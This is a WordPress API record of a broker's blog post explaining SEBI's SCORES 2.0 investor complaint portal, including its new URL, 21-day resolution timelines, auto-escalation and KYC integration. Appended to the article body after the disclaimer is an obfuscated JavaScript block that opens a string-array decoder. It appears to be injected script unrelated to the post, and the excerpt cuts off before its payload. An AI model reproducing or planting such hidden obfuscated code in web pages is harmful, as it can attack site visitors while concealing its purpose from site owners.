{"id":7199,"date":"2024-04-02T06:14:30","date_gmt":"2024-04-02T06:14:30","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=7199"},"modified":"2024-04-02T06:14:30","modified_gmt":"2024-04-02T06:14:30","slug":"sebi-complaint-redressal-system","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/sebi-complaint-redressal-system\/","title":{"rendered":"SEBI Complaint Redressal System Upgrade: Introduces SCORES 2.0"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/sebi-complaint-redressal-system\/#Key_Highlights_Complaint_Redressal_System_SCORES_20\" >Key Highlights| Complaint Redressal System SCORES 2.0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/sebi-complaint-redressal-system\/#What_is_SCORES\" >What is SCORES?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/sebi-complaint-redressal-system\/#SEBI_Complaint_Redressal_System_SCORES_20_Strengthening_Investor_Complaint_Resolution\" >SEBI Complaint Redressal System SCORES 2.0: Strengthening Investor Complaint Resolution<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/sebi-complaint-redressal-system\/#Key_features_of_SCORES_20\" >Key features of SCORES 2.0<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/shoonya.com\/blog\/sebi-complaint-redressal-system\/#Enhanced_Efficiency_Through_New_Features\" >Enhanced Efficiency Through New Features<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/shoonya.com\/blog\/sebi-complaint-redressal-system\/#Integration_with_KYC_Registration_Agency_Database\" >Integration with KYC Registration Agency Database<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/shoonya.com\/blog\/sebi-complaint-redressal-system\/#Things_Investors_Need_to_Know_About_Upgraded_SEBIs_Complaint_Redressal_System\" >Things Investors Need to Know About Upgraded SEBIs Complaint Redressal System<\/a><\/li><\/ul><\/nav><\/div>\n<div class=\"yoast-breadcrumbs\"><span><span><a href=\"https:\/\/shoonya.com\/blog\/\">Home<\/a><\/span> \u00bb <span><a href=\"https:\/\/shoonya.com\/blog\/latest-news\/\">News<\/a><\/span> \u00bb <span class=\"breadcrumb_last\" aria-current=\"page\"><strong>SEBI Complaint Redressal System Upgrade: Introduces SCORES 2.0<\/strong><\/span><\/span><\/div>\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The Security Exchange Board of India rolled out an improved version of the SEBI complaint redressal system, SCORES 2.0, on April 1. This move aims to strengthen the handling process of investor complaints in the securities market. The updated system adds multiple new features, all focused on improving efficiency.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Let us walk you through the improved SEBIs Scores portal: SCORES 2:0.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Key_Highlights_Complaint_Redressal_System_SCORES_20\"><\/span><strong>Key Highlights| Complaint Redressal System SCORES 2.0<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<ul class=\"wp-block-list\">\n<li>SEBI launches complaint redressal system scores 2.0 for better investor experience.<\/li>\n\n\n\n<li>Aimed at enhancing efficiency in handling investor complaints in the securities market.<\/li>\n\n\n\n<li>Introduces features like auto-routing, auto-escalation, and standardised timelines.<\/li>\n\n\n\n<li>Offers a two-tier review process for complaint resolution.<\/li>\n\n\n\n<li>Integration with KYC Registration Agency database for simplified investor registration.<\/li>\n\n\n\n<li>The old SCORES platform for filing complaints has been discontinued; the new version will be accessible from April 1st.<\/li>\n\n\n\n<li>SEBI plans to introduce a new app in the future.<\/li>\n<\/ul>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"What_is_SCORES\"><\/span><strong>What is SCORES?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">SCORES is an online system accessible via web URL and an app, enabling investors in the securities market to submit their complaints to SEBI.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"SEBI_Complaint_Redressal_System_SCORES_20_Strengthening_Investor_Complaint_Resolution\"><\/span><strong>SEBI Complaint Redressal System SCORES 2.0: Strengthening Investor Complaint Resolution<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">SCORES 2.0 streamlines the complaint redressal process by introducing a user-friendly interface and new features.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">In September 2023, SEBI designated specific bodies and delineated their responsibilities in addressing complaints, as outlined in a circular.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Effective April 1, 2024, the SEBI scores portal will be accessible from the new SCORES website-<a href=\"https:\/\/scores.sebi.gov.in\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"> <mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">https:\/\/scores.sebi.gov.in<\/mark><\/a>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The administrators closed the old version of SCORES, namely<a href=\"http:\/\/www.scores.gov.in\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"> <mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">www.scores.gov.in<\/mark><\/a>, as of March 28, 2024. Consequently, it is no longer possible to lodge complaints on the old SCORES platform.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Investors should be aware that they can review the status of their complaints lodged before March 28, 2024, in the old SCORES system only.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Key_features_of_SCORES_20\"><\/span><strong>Key features of SCORES 2.0<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<ol class=\"wp-block-list\">\n<li>Standardized and shortened timelines (21 calendar days) for resolving complaints across the securities market.<\/li>\n\n\n\n<li>Automated routing of complaints to relevant entities to minimize delays.<\/li>\n\n\n\n<li>Ongoing monitoring of complaint resolution by designated bodies.<\/li>\n\n\n\n<li>Provision for two levels of review: first by designated bodies, then by SEBI, if necessary.<\/li>\n\n\n\n<li>Automatic escalation of complaints in case of missed deadlines by regulated entities or designated bodies.<\/li>\n\n\n\n<li>Integration with a database for seamless investor registration.<\/li>\n<\/ol>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Enhanced_Efficiency_Through_New_Features\"><\/span><strong>Enhanced Efficiency Through New Features<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">SEBI stated that SCORES 2.0 aims to enhance the efficiency of handling investor complaints.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The new version of SCORES incorporates enhancements to make the platform more user-friendly. It introduces standardised timelines for resolving complaints, set at 21 calendar days from the date of receipt. Additionally, complaints are automatically directed to the relevant authorities for prompt resolution. The new SEBI SCORES portal implements a two-tier review process for complaint resolution. Also, to ensure adherence to timelines, investors have the option to escalate complaints automatically if designated bodies do not respond promptly.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Integration_with_KYC_Registration_Agency_Database\"><\/span><strong>Integration with KYC Registration Agency Database<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">Moreover, SCORES now seamlessly integrates with the <a href=\"https:\/\/shoonya.com\/blog\/kra-kyc-online\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">KYC Registration Agency<\/mark><\/a> database, simplifying the investor registration process within the platform.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Things_Investors_Need_to_Know_About_Upgraded_SEBIs_Complaint_Redressal_System\"><\/span><strong>Things Investors Need to Know About Upgraded SEBIs Complaint Redressal System<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">From April 1, 2024, investors must use the new version of SCORES at<a href=\"https:\/\/scores.sebi.gov.in\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"> <mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">https:\/\/scores.sebi.gov.in<\/mark><\/a> to lodge complaints.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The old SCORES platform at<a href=\"https:\/\/scores.gov.in\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"> <mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">https:\/\/scores.gov.in<\/mark><\/a> will no longer accept new complaints.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">However, investors can still check the status of complaints previously lodged in the old SCORES system.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Additionally, you can view any of the complaints disposed of on the old SCORES on SCORES 2.0.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Please note that the old app has been discontinued, and a new one will launch soon. This change is effective as of April 1, 2024.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Source<\/strong>&#8211;<a href=\"https:\/\/www.livemint.com\/market\/stock-market-news\/sebi-launches-new-version-of-complaint-redressal-system-scores-20-11711975610547.html\">\u00a0<\/a><a href=\"https:\/\/www.sebi.gov.in\/media-and-notifications\/press-releases\/apr-2024\/scores-2-0-new-technology-to-strengthen-sebi-complaint-redressal-system-for-investors_82618.html\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">sebi.gov.in<\/mark><\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/shoonya.com\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark><\/a>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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This move aims to strengthen the handling process of investor complaints in the securities market. The updated system adds multiple new features, all focused on improving efficiency. Let us walk you through the &hellip; <a href=\"https:\/\/shoonya.com\/blog\/sebi-complaint-redressal-system\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;SEBI Complaint Redressal System Upgrade: Introduces SCORES 2.0&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":7200,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[1082],"tags":[3627,3626,3628],"class_list":["post-7199","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-latest-news","tag-complaint-redressal-system-scores-2-0","tag-sebi-complaint-redressal-system","tag-sebi-scores-portal"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>SEBI Launches SCORES 2.0 (SEBI Complaint Redressal System)<\/title>\n<meta name=\"description\" content=\"SEBI launches SCORES 2.0, a new version of the SEBI Complaint Redressal System. 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It aims to improve the overall investor complaint redressal system.\" \/>\n<meta name=\"twitter:image\" content=\"https:\/\/shoonya.com\/blog\/wp-content\/uploads\/2024\/04\/SEBI-Launches-SCORES-2.0-SEBI-Complaint-Redressal-System.jpg\" \/>\n<meta name=\"twitter:creator\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:site\" content=\"@shoonyaapp\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"3 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/sebi-complaint-redressal-system\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/sebi-complaint-redressal-system\\\/\"},\"author\":{\"name\":\"admin\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\"},\"headline\":\"SEBI Complaint Redressal System Upgrade: Introduces SCORES 2.0\",\"datePublished\":\"2024-04-02T06:14:30+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/sebi-complaint-redressal-system\\\/\"},\"wordCount\":601,\"image\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/sebi-complaint-redressal-system\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2024\\\/04\\\/SEBI-Launches-SCORES-2.0-SEBI-Complaint-Redressal-System.jpg\",\"keywords\":[\"complaint redressal system scores 2.0\",\"sebi complaint redressal system\",\"sebi scores portal\"],\"articleSection\":[\"News\"],\"inLanguage\":\"en-US\"},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/sebi-complaint-redressal-system\\\/\",\"url\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/sebi-complaint-redressal-system\\\/\",\"name\":\"SEBI Launches SCORES 2.0 (SEBI Complaint Redressal System)\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/sebi-complaint-redressal-system\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/sebi-complaint-redressal-system\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/wp-content\\\/uploads\\\/2024\\\/04\\\/SEBI-Launches-SCORES-2.0-SEBI-Complaint-Redressal-System.jpg\",\"datePublished\":\"2024-04-02T06:14:30+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/shoonya.com\\\/blog\\\/#\\\/schema\\\/person\\\/f136efa6e9f6500d1b76595131564b8a\"},\"description\":\"SEBI launches SCORES 2.0, a new version of the SEBI Complaint Redressal System. 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